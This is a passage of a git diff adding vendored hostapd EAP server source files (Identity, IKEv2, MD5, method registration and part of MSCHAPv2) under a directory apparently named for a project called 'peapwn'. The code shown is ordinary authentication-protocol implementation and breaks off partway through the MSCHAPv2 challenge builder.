b/peapwn/mods/hostap/src/eap_server/eap_server_identity.c @@ -0,0 +1,174 @@ +/* + * hostapd / EAP-Identity + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" + + +struct eap_identity_data { + enum { CONTINUE, SUCCESS, FAILURE } state; + int pick_up; +}; + + +static void * eap_identity_init(struct eap_sm *sm) +{ + struct eap_identity_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = CONTINUE; + + return data; +} + + +static void * eap_identity_initPickUp(struct eap_sm *sm) +{ + struct eap_identity_data *data; + data = eap_identity_init(sm); + if (data) { + data->pick_up = 1; + } + return data; +} + + +static void eap_identity_reset(struct eap_sm *sm, void *priv) +{ + struct eap_identity_data *data = priv; + os_free(data); +} + + +static struct wpabuf * eap_identity_buildReq(struct eap_sm *sm, void *priv, + u8 id) +{ + struct eap_identity_data *data = priv; + struct wpabuf *req; + const char *req_data; + size_t req_data_len; + + if (sm->eapol_cb->get_eap_req_id_text) { + req_data = sm->eapol_cb->get_eap_req_id_text(sm->eapol_ctx, + &req_data_len); + } else { + req_data = NULL; + req_data_len = 0; + } + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, req_data_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-Identity: Failed to allocate " + "memory for request"); + data->state = FAILURE; + return NULL; + } + + wpabuf_put_data(req, req_data, req_data_len); + + return req; +} + + +static Boolean eap_identity_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, + respData, &len); + if (pos == NULL) { + wpa_printf(MSG_INFO, "EAP-Identity: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_identity_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_identity_data *data = priv; + const u8 *pos; + size_t len; + + if (data->pick_up) { + if (eap_identity_check(sm, data, respData)) { + wpa_printf(MSG_DEBUG, "EAP-Identity: failed to pick " + "up already started negotiation"); + data->state = FAILURE; + return; + } + data->pick_up = 0; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, + respData, &len); + if (pos == NULL) + return; /* Should not happen - frame already validated */ + + wpa_hexdump_ascii(MSG_DEBUG, "EAP-Identity: Peer identity", pos, len); + if (sm->identity) + sm->update_user = TRUE; + os_free(sm->identity); + sm->identity = os_malloc(len ? len : 1); + if (sm->identity == NULL) { + data->state = FAILURE; + } else { + os_memcpy(sm->identity, pos, len); + sm->identity_len = len; + data->state = SUCCESS; + } +} + + +static Boolean eap_identity_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_identity_data *data = priv; + return data->state != CONTINUE; +} + + +static Boolean eap_identity_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_identity_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_identity_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, + "Identity"); + if (eap == NULL) + return -1; + + eap->init = eap_identity_init; + eap->initPickUp = eap_identity_initPickUp; + eap->reset = eap_identity_reset; + eap->buildReq = eap_identity_buildReq; + eap->check = eap_identity_check; + eap->process = eap_identity_process; + eap->isDone = eap_identity_isDone; + eap->isSuccess = eap_identity_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_ikev2.c b/peapwn/mods/hostap/src/eap_server/eap_server_ikev2.c new file mode 100644 index 000000000..1ada0c8a6 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_ikev2.c @@ -0,0 +1,536 @@ +/* + * EAP-IKEv2 server (RFC 5106) + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "eap_common/eap_ikev2_common.h" +#include "ikev2.h" + + +struct eap_ikev2_data { + struct ikev2_initiator_data ikev2; + enum { MSG, FRAG_ACK, WAIT_FRAG_ACK, DONE, FAIL } state; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + size_t out_used; + size_t fragment_size; + int keys_ready; + u8 keymat[EAP_MSK_LEN + EAP_EMSK_LEN]; + int keymat_ok; +}; + + +static const u8 * eap_ikev2_get_shared_secret(void *ctx, const u8 *IDr, + size_t IDr_len, + size_t *secret_len) +{ + struct eap_sm *sm = ctx; + + if (IDr == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No IDr received - default " + "to user identity from EAP-Identity"); + IDr = sm->identity; + IDr_len = sm->identity_len; + } + + if (eap_user_get(sm, IDr, IDr_len, 0) < 0 || sm->user == NULL || + sm->user->password == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No user entry found"); + return NULL; + } + + *secret_len = sm->user->password_len; + return sm->user->password; +} + + +static const char * eap_ikev2_state_txt(int state) +{ + switch (state) { + case MSG: + return "MSG"; + case FRAG_ACK: + return "FRAG_ACK"; + case WAIT_FRAG_ACK: + return "WAIT_FRAG_ACK"; + case DONE: + return "DONE"; + case FAIL: + return "FAIL"; + default: + return "?"; + } +} + + +static void eap_ikev2_state(struct eap_ikev2_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-IKEV2: %s -> %s", + eap_ikev2_state_txt(data->state), + eap_ikev2_state_txt(state)); + data->state = state; +} + + +static void * eap_ikev2_init(struct eap_sm *sm) +{ + struct eap_ikev2_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = MSG; + data->fragment_size = sm->fragment_size > 0 ? sm->fragment_size : + IKEV2_FRAGMENT_SIZE; + data->ikev2.state = SA_INIT; + data->ikev2.peer_auth = PEER_AUTH_SECRET; + data->ikev2.key_pad = (u8 *) os_strdup("Key Pad for EAP-IKEv2"); + if (data->ikev2.key_pad == NULL) + goto failed; + data->ikev2.key_pad_len = 21; + + /* TODO: make proposals configurable */ + data->ikev2.proposal.proposal_num = 1; + data->ikev2.proposal.integ = AUTH_HMAC_SHA1_96; + data->ikev2.proposal.prf = PRF_HMAC_SHA1; + data->ikev2.proposal.encr = ENCR_AES_CBC; + data->ikev2.proposal.dh = DH_GROUP2_1024BIT_MODP; + + data->ikev2.IDi = os_malloc(sm->server_id_len); + if (data->ikev2.IDi == NULL) + goto failed; + os_memcpy(data->ikev2.IDi, sm->server_id, sm->server_id_len); + data->ikev2.IDi_len = sm->server_id_len; + + data->ikev2.get_shared_secret = eap_ikev2_get_shared_secret; + data->ikev2.cb_ctx = sm; + + return data; + +failed: + ikev2_initiator_deinit(&data->ikev2); + os_free(data); + return NULL; +} + + +static void eap_ikev2_reset(struct eap_sm *sm, void *priv) +{ + struct eap_ikev2_data *data = priv; + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + ikev2_initiator_deinit(&data->ikev2); + os_free(data); +} + + +static struct wpabuf * eap_ikev2_build_msg(struct eap_ikev2_data *data, u8 id) +{ + struct wpabuf *req; + u8 flags; + size_t send_len, plen, icv_len = 0; + + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Generating Request"); + + flags = 0; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (1 + send_len > data->fragment_size) { + send_len = data->fragment_size - 1; + flags |= IKEV2_FLAGS_MORE_FRAGMENTS; + if (data->out_used == 0) { + flags |= IKEV2_FLAGS_LENGTH_INCLUDED; + send_len -= 4; + } + } + + plen = 1 + send_len; + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) + plen += 4; + if (data->keys_ready) { + const struct ikev2_integ_alg *integ; + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Add Integrity Checksum " + "Data"); + flags |= IKEV2_FLAGS_ICV_INCLUDED; + integ = ikev2_get_integ(data->ikev2.proposal.integ); + if (integ == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unknown INTEG " + "transform / cannot generate ICV"); + return NULL; + } + icv_len = integ->hash_len; + + plen += icv_len; + } + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, plen, + EAP_CODE_REQUEST, id); + if (req == NULL) + return NULL; + + wpabuf_put_u8(req, flags); /* Flags */ + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) + wpabuf_put_be32(req, wpabuf_len(data->out_buf)); + + wpabuf_put_data(req, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + if (flags & IKEV2_FLAGS_ICV_INCLUDED) { + const u8 *msg = wpabuf_head(req); + size_t len = wpabuf_len(req); + ikev2_integ_hash(data->ikev2.proposal.integ, + data->ikev2.keys.SK_ai, + data->ikev2.keys.SK_integ_len, + msg, len, wpabuf_put(req, icv_len)); + } + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + } else { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + eap_ikev2_state(data, WAIT_FRAG_ACK); + } + + return req; +} + + +static struct wpabuf * eap_ikev2_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_ikev2_data *data = priv; + + switch (data->state) { + case MSG: + if (data->out_buf == NULL) { + data->out_buf = ikev2_initiator_build(&data->ikev2); + if (data->out_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Failed to " + "generate IKEv2 message"); + return NULL; + } + data->out_used = 0; + } + /* pass through */ + case WAIT_FRAG_ACK: + return eap_ikev2_build_msg(data, id); + case FRAG_ACK: + return eap_ikev2_build_frag_ack(id, EAP_CODE_REQUEST); + default: + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unexpected state %d in " + "buildReq", data->state); + return NULL; + } +} + + +static Boolean eap_ikev2_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, respData, + &len); + if (pos == NULL) { + wpa_printf(MSG_INFO, "EAP-IKEV2: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static int eap_ikev2_process_icv(struct eap_ikev2_data *data, + const struct wpabuf *respData, + u8 flags, const u8 *pos, const u8 **end) +{ + if (flags & IKEV2_FLAGS_ICV_INCLUDED) { + int icv_len = eap_ikev2_validate_icv( + data->ikev2.proposal.integ, &data->ikev2.keys, 0, + respData, pos, *end); + if (icv_len < 0) + return -1; + /* Hide Integrity Checksum Data from further processing */ + *end -= icv_len; + } else if (data->keys_ready) { + wpa_printf(MSG_INFO, "EAP-IKEV2: The message should have " + "included integrity checksum"); + return -1; + } + + return 0; +} + + +static int eap_ikev2_process_cont(struct eap_ikev2_data *data, + const u8 *buf, size_t len) +{ + /* Process continuation of a pending message */ + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Fragment overflow"); + eap_ikev2_state(data, FAIL); + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received %lu bytes, waiting for %lu " + "bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static int eap_ikev2_process_fragment(struct eap_ikev2_data *data, + u8 flags, u32 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & IKEV2_FLAGS_LENGTH_INCLUDED)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No Message Length field in " + "a fragmented packet"); + return -1; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No memory for " + "message"); + return -1; + } + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return 0; +} + + +static int eap_ikev2_server_keymat(struct eap_ikev2_data *data) +{ + if (eap_ikev2_derive_keymat( + data->ikev2.proposal.prf, &data->ikev2.keys, + data->ikev2.i_nonce, data->ikev2.i_nonce_len, + data->ikev2.r_nonce, data->ikev2.r_nonce_len, + data->keymat) < 0) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Failed to derive " + "key material"); + return -1; + } + data->keymat_ok = 1; + return 0; +} + + +static void eap_ikev2_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_ikev2_data *data = priv; + const u8 *start, *pos, *end; + size_t len; + u8 flags; + u32 message_length = 0; + struct wpabuf tmpbuf; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, respData, + &len); + if (pos == NULL) + return; /* Should not happen; message already verified */ + + start = pos; + end = start + len; + + if (len == 0) { + /* fragment ack */ + flags = 0; + } else + flags = *pos++; + + if (eap_ikev2_process_icv(data, respData, flags, pos, &end) < 0) { + eap_ikev2_state(data, FAIL); + return; + } + + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) { + if (end - pos < 4) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Message underflow"); + eap_ikev2_state(data, FAIL); + return; + } + message_length = WPA_GET_BE32(pos); + pos += 4; + + if (message_length < (u32) (end - pos)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Invalid Message " + "Length (%d; %ld remaining in this msg)", + message_length, (long) (end - pos)); + eap_ikev2_state(data, FAIL); + return; + } + } + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received packet: Flags 0x%x " + "Message Length %u", flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { + if (len != 0) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unexpected payload " + "in WAIT_FRAG_ACK state"); + eap_ikev2_state(data, FAIL); + return; + } + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Fragment acknowledged"); + eap_ikev2_state(data, MSG); + return; + } + + if (data->in_buf && eap_ikev2_process_cont(data, pos, end - pos) < 0) { + eap_ikev2_state(data, FAIL); + return; + } + + if (flags & IKEV2_FLAGS_MORE_FRAGMENTS) { + if (eap_ikev2_process_fragment(data, flags, message_length, + pos, end - pos) < 0) + eap_ikev2_state(data, FAIL); + else + eap_ikev2_state(data, FRAG_ACK); + return; + } else if (data->state == FRAG_ACK) { + wpa_printf(MSG_DEBUG, "EAP-TNC: All fragments received"); + data->state = MSG; + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + if (ikev2_initiator_process(&data->ikev2, data->in_buf) < 0) { + if (data->in_buf == &tmpbuf) + data->in_buf = NULL; + eap_ikev2_state(data, FAIL); + return; + } + + switch (data->ikev2.state) { + case SA_AUTH: + /* SA_INIT was sent out, so message have to be + * integrity protected from now on. */ + data->keys_ready = 1; + break; + case IKEV2_DONE: + if (data->state == FAIL) + break; + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Authentication completed " + "successfully"); + if (eap_ikev2_server_keymat(data)) + break; + eap_ikev2_state(data, DONE); + break; + default: + break; + } + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; +} + + +static Boolean eap_ikev2_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_ikev2_data *data = priv; + return data->state == DONE || data->state == FAIL; +} + + +static Boolean eap_ikev2_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_ikev2_data *data = priv; + return data->state == DONE && data->ikev2.state == IKEV2_DONE && + data->keymat_ok; +} + + +static u8 * eap_ikev2_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ikev2_data *data = priv; + u8 *key; + + if (data->state != DONE || !data->keymat_ok) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key) { + os_memcpy(key, data->keymat, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + } + + return key; +} + + +static u8 * eap_ikev2_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ikev2_data *data = priv; + u8 *key; + + if (data->state != DONE || !data->keymat_ok) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key) { + os_memcpy(key, data->keymat + EAP_MSK_LEN, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + } + + return key; +} + + +int eap_server_ikev2_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_IKEV2, + "IKEV2"); + if (eap == NULL) + return -1; + + eap->init = eap_ikev2_init; + eap->reset = eap_ikev2_reset; + eap->buildReq = eap_ikev2_buildReq; + eap->check = eap_ikev2_check; + eap->process = eap_ikev2_process; + eap->isDone = eap_ikev2_isDone; + eap->getKey = eap_ikev2_getKey; + eap->isSuccess = eap_ikev2_isSuccess; + eap->get_emsk = eap_ikev2_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_md5.c b/peapwn/mods/hostap/src/eap_server/eap_server_md5.c new file mode 100644 index 000000000..5a5e2907e --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_md5.c @@ -0,0 +1,175 @@ +/* + * hostapd / EAP-MD5 server + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_i.h" +#include "eap_common/chap.h" + + +#define CHALLENGE_LEN 16 + +struct eap_md5_data { + u8 challenge[CHALLENGE_LEN]; + enum { CONTINUE, SUCCESS, FAILURE } state; +}; + + +static void * eap_md5_init(struct eap_sm *sm) +{ + struct eap_md5_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = CONTINUE; + + return data; +} + + +static void eap_md5_reset(struct eap_sm *sm, void *priv) +{ + struct eap_md5_data *data = priv; + os_free(data); +} + + +static struct wpabuf * eap_md5_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_md5_data *data = priv; + struct wpabuf *req; + + if (random_get_bytes(data->challenge, CHALLENGE_LEN)) { + wpa_printf(MSG_ERROR, "EAP-MD5: Failed to get random data"); + data->state = FAILURE; + return NULL; + } + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MD5, 1 + CHALLENGE_LEN, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-MD5: Failed to allocate memory for " + "request"); + data->state = FAILURE; + return NULL; + } + + wpabuf_put_u8(req, CHALLENGE_LEN); + wpabuf_put_data(req, data->challenge, CHALLENGE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-MD5: Challenge", data->challenge, + CHALLENGE_LEN); + + data->state = CONTINUE; + + return req; +} + + +static Boolean eap_md5_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MD5, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-MD5: Invalid frame"); + return TRUE; + } + if (*pos != CHAP_MD5_LEN || 1 + CHAP_MD5_LEN > len) { + wpa_printf(MSG_INFO, "EAP-MD5: Invalid response " + "(response_len=%d payload_len=%lu", + *pos, (unsigned long) len); + return TRUE; + } + + return FALSE; +} + + +static void eap_md5_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_md5_data *data = priv; + const u8 *pos; + size_t plen; + u8 hash[CHAP_MD5_LEN], id; + + if (sm->user == NULL || sm->user->password == NULL || + sm->user->password_hash) { + wpa_printf(MSG_INFO, "EAP-MD5: Plaintext password not " + "configured"); + data->state = FAILURE; + return; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MD5, respData, &plen); + if (pos == NULL || *pos != CHAP_MD5_LEN || plen < 1 + CHAP_MD5_LEN) + return; /* Should not happen - frame already validated */ + + pos++; /* Skip response len */ + wpa_hexdump(MSG_MSGDUMP, "EAP-MD5: Response", pos, CHAP_MD5_LEN); + + id = eap_get_id(respData); + if (chap_md5(id, sm->user->password, sm->user->password_len, + data->challenge, CHALLENGE_LEN, hash)) { + wpa_printf(MSG_INFO, "EAP-MD5: CHAP MD5 operation failed"); + data->state = FAILURE; + return; + } + + if (os_memcmp(hash, pos, CHAP_MD5_LEN) == 0) { + wpa_printf(MSG_DEBUG, "EAP-MD5: Done - Success"); + data->state = SUCCESS; + } else { + wpa_printf(MSG_DEBUG, "EAP-MD5: Done - Failure"); + data->state = FAILURE; + } +} + + +static Boolean eap_md5_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_md5_data *data = priv; + return data->state != CONTINUE; +} + + +static Boolean eap_md5_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_md5_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_md5_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_MD5, "MD5"); + if (eap == NULL) + return -1; + + eap->init = eap_md5_init; + eap->reset = eap_md5_reset; + eap->buildReq = eap_md5_buildReq; + eap->check = eap_md5_check; + eap->process = eap_md5_process; + eap->isDone = eap_md5_isDone; + eap->isSuccess = eap_md5_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_methods.c b/peapwn/mods/hostap/src/eap_server/eap_server_methods.c new file mode 100644 index 000000000..0209fad63 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_methods.c @@ -0,0 +1,171 @@ +/* + * EAP server method registration + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "eap_methods.h" + + +static struct eap_method *eap_methods; + + +/** + * eap_server_get_eap_method - Get EAP method based on type number + * @vendor: EAP Vendor-Id (0 = IETF) + * @method: EAP type number + * Returns: Pointer to EAP method or %NULL if not found + */ +const struct eap_method * eap_server_get_eap_method(int vendor, EapType method) +{ + struct eap_method *m; + for (m = eap_methods; m; m = m->next) { + if (m->vendor == vendor && m->method == method) + return m; + } + return NULL; +} + + +/** + * eap_server_get_type - Get EAP type for the given EAP method name + * @name: EAP method name, e.g., TLS + * @vendor: Buffer for returning EAP Vendor-Id + * Returns: EAP method type or %EAP_TYPE_NONE if not found + * + * This function maps EAP type names into EAP type numbers based on the list of + * EAP methods included in the build. + */ +EapType eap_server_get_type(const char *name, int *vendor) +{ + struct eap_method *m; + for (m = eap_methods; m; m = m->next) { + if (os_strcmp(m->name, name) == 0) { + *vendor = m->vendor; + return m->method; + } + } + *vendor = EAP_VENDOR_IETF; + return EAP_TYPE_NONE; +} + + +/** + * eap_server_method_alloc - Allocate EAP server method structure + * @version: Version of the EAP server method interface (set to + * EAP_SERVER_METHOD_INTERFACE_VERSION) + * @vendor: EAP Vendor-ID (EAP_VENDOR_*) (0 = IETF) + * @method: EAP type number (EAP_TYPE_*) + * @name: Name of the method (e.g., "TLS") + * Returns: Allocated EAP method structure or %NULL on failure + * + * The returned structure should be freed with eap_server_method_free() when it + * is not needed anymore. + */ +struct eap_method * eap_server_method_alloc(int version, int vendor, + EapType method, const char *name) +{ + struct eap_method *eap; + eap = os_zalloc(sizeof(*eap)); + if (eap == NULL) + return NULL; + eap->version = version; + eap->vendor = vendor; + eap->method = method; + eap->name = name; + return eap; +} + + +/** + * eap_server_method_free - Free EAP server method structure + * @method: Method structure allocated with eap_server_method_alloc() + */ +void eap_server_method_free(struct eap_method *method) +{ + os_free(method); +} + + +/** + * eap_server_method_register - Register an EAP server method + * @method: EAP method to register + * Returns: 0 on success, -1 on invalid method, or -2 if a matching EAP method + * has already been registered + * + * Each EAP server method needs to call this function to register itself as a + * supported EAP method. + */ +int eap_server_method_register(struct eap_method *method) +{ + struct eap_method *m, *last = NULL; + + if (method == NULL || method->name == NULL || + method->version != EAP_SERVER_METHOD_INTERFACE_VERSION) + return -1; + + for (m = eap_methods; m; m = m->next) { + if ((m->vendor == method->vendor && + m->method == method->method) || + os_strcmp(m->name, method->name) == 0) + return -2; + last = m; + } + + if (last) + last->next = method; + else + eap_methods = method; + + return 0; +} + + +/** + * eap_server_unregister_methods - Unregister EAP server methods + * + * This function is called at program termination to unregister all EAP server + * methods. + */ +void eap_server_unregister_methods(void) +{ + struct eap_method *m; + + while (eap_methods) { + m = eap_methods; + eap_methods = eap_methods->next; + + if (m->free) + m->free(m); + else + eap_server_method_free(m); + } +} + + +/** + * eap_server_get_name - Get EAP method name for the given EAP type + * @vendor: EAP Vendor-Id (0 = IETF) + * @type: EAP method type + * Returns: EAP method name, e.g., TLS, or %NULL if not found + * + * This function maps EAP type numbers into EAP type names based on the list of + * EAP methods included in the build. + */ +const char * eap_server_get_name(int vendor, EapType type) +{ + struct eap_method *m; + if (vendor == EAP_VENDOR_IETF && type == EAP_TYPE_EXPANDED) + return "expanded"; + for (m = eap_methods; m; m = m->next) { + if (m->vendor == vendor && m->method == type) + return m->name; + } + return NULL; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_mschapv2.c b/peapwn/mods/hostap/src/eap_server/eap_server_mschapv2.c new file mode 100644 index 000000000..3153d2ecf --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_mschapv2.c @@ -0,0 +1,571 @@ +/* + * hostapd / EAP-MSCHAPv2 (draft-kamath-pppext-eap-mschapv2-00.txt) server + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "crypto/random.h" +#include "eap_i.h" + + +struct eap_mschapv2_hdr { + u8 op_code; /* MSCHAPV2_OP_* */ + u8 mschapv2_id; /* must be changed for challenges, but not for + * success/failure */ + u8 ms_length[2]; /* Note: misaligned; length - 5 */ + /* followed by data */ +} STRUCT_PACKED; + +#define MSCHAPV2_OP_CHALLENGE 1 +#define MSCHAPV2_OP_RESPONSE 2 +#define MSCHAPV2_OP_SUCCESS 3 +#define MSCHAPV2_OP_FAILURE 4 +#define MSCHAPV2_OP_CHANGE_PASSWORD 7 + +#define MSCHAPV2_RESP_LEN 49 + +#define ERROR_RESTRICTED_LOGON_HOURS 646 +#define ERROR_ACCT_DISABLED 647 +#define ERROR_PASSWD_EXPIRED 648 +#define ERROR_NO_DIALIN_PERMISSION 649 +#define ERROR_AUTHENTICATION_FAILURE 691 +#define ERROR_CHANGING_PASSWORD 709 + +#define PASSWD_CHANGE_CHAL_LEN 16 +#define MSCHAPV2_KEY_LEN 16 + + +#define CHALLENGE_LEN 16 + +struct eap_mschapv2_data { + u8 auth_challenge[CHALLENGE_LEN]; + int auth_challenge_from_tls; + u8 *peer_challenge; + u8 auth_response[20]; + enum { CHALLENGE, SUCCESS_REQ, FAILURE_REQ, SUCCESS, FAILURE } state; + u8 resp_mschapv2_id; + u8 master_key[16]; + int master_key_valid; +}; + + +static void * eap_mschapv2_init(struct eap_sm *sm) +{ + struct eap_mschapv2_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = CHALLENGE; + + if (sm->auth_challenge) { + os_memcpy(data->auth_challenge, sm->auth_challenge, + CHALLENGE_LEN); + data->auth_challenge_from_tls = 1; + } + + if (sm->peer_challenge) { + data->peer_challenge = os_malloc(CHALLENGE_LEN); + if (data->peer_challenge == NULL) { + os_free(data); + return NULL; + } + os_memcpy(data->peer_challenge, sm->peer_challenge, + CHALLENGE_LEN); + } + + return data; +} + + +static void eap_mschapv2_reset(struct eap_sm *sm, void *priv) +{ + struct eap_mschapv2_data *data = priv; + if (data == NULL) + return; + + os_free(data->peer_challenge); + os_free(data); +} + + +static struct wpabuf * eap_mschapv2_build_challenge( + struct eap_sm *sm, struct eap_mschapv2_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_mschapv2_hdr *ms; + size_t ms_len; + + if (!data->auth_challenge_from_tls && + random_get_bytes(data->auth_challenge, CHALLENGE_LEN)) { + wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Failed to get random " + "data"); + data->state = FAILURE; + return NULL; + } + + ms_len = sizeof(*ms) + 1 + CHALLENGE_LEN + sm->server_id_len; + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Failed to allocate memory" + " for request"); + data->state = FAILURE; + return NULL; + } + + ms = wpabuf_put(req, sizeof(*ms)); + ms->op_code = MSCHAPV2_OP_CHALLENGE; + ms->mschapv2_id = id; + WPA_PUT_BE16(ms->ms_length, ms_len); + + wpabuf_put_u8(req, CHALLENGE_LEN); + if (!data->auth_challenge_from_tls) 